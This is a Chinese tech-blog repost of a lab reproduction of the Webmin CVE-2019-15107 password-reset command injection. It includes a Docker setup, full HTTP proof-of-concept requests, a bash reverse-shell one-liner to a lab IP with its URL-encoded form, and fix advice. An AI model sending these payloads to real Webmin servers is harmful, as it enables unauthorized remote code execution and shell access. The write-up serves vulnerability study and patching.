ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Webmin 远程命令执行漏洞(CVE-2019-15107)

2022-05-18 09:01:03  阅读:217  来源: 互联网

标签:cgi webmin 密码 Accept Webmin 漏洞 2019 CVE


Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。

参考链接:

漏洞概述

  • 漏洞编号:CVE-2019-15107
  • 漏洞描述:该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码
  • 该漏洞由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码
  • 漏洞利用条件:版本满足要求,且服务器的配置文件允许修改密码时,在不知道webmin的用户和密码条件下,可以任意执行代码

影响版本

Webmin <= 1.920

环境搭建

执行如下命令,启动webmin 1.910:

docker-compose up -d

执行完成后,访问https://your-ip:10000,忽略证书后即可看到webmin的登录页面。

漏洞复现

docker ps -a查看当前启动的容器信息
使用docker进入容器进行验证 使用条件

docker exec -it 6d /bin/bash

这里修改一下root密码, 这样就能进webmin中进行配置修改, 使用命令
passwd

利用修改的密码登录

登录之后点击authentication修改密码重置配置

在容器中使用
cat /etc/webmin/miniserv.conf 确认密码策略正确

访问/password_change.cgi链接,抓包注入命令

POC

POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=rootxx&pam=&expired=2&old=test|ls&new1=test2&new2=test2

上面poc需要注意:ip改成自己的ip,然后user参数不能是系统账户,后面接执行的命令。

反弹Shell

bash -c "bash -i >& /dev/tcp/192.168.10.129/9999 0>&1"

对上面bash进行url编码

发送:

POST /password_change.cgi HTTP/1.1
Content-Length: 139
Host: 192.168.10.128:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://192.168.10.128:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 139

user=rootxx&pam=&expired=2&old=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.10.129%2F9999%200%3E%261%22&new1=test2&new2=test2

修复建议

目前Webmin官方已发布最新版本Webmin 1.940 修复了该漏洞,请受影响的用户尽快升级至最新版本:

下载链接:http://webmin.com/download.html

临时解决方案:

1.900 到 1.920版本的用户,编辑Webmin配置文件:/etc/webmin/miniserv.conf,注释或删除“passwd_mode=”行,然后运行/etc/webmin/restart 重启服务命令。

注:修复漏洞前请将资料备份,并进行充分测试。

标签:cgi,webmin,密码,Accept,Webmin,漏洞,2019,CVE
来源: https://www.cnblogs.com/NoCirc1e/p/16283285.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[[email protected]]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有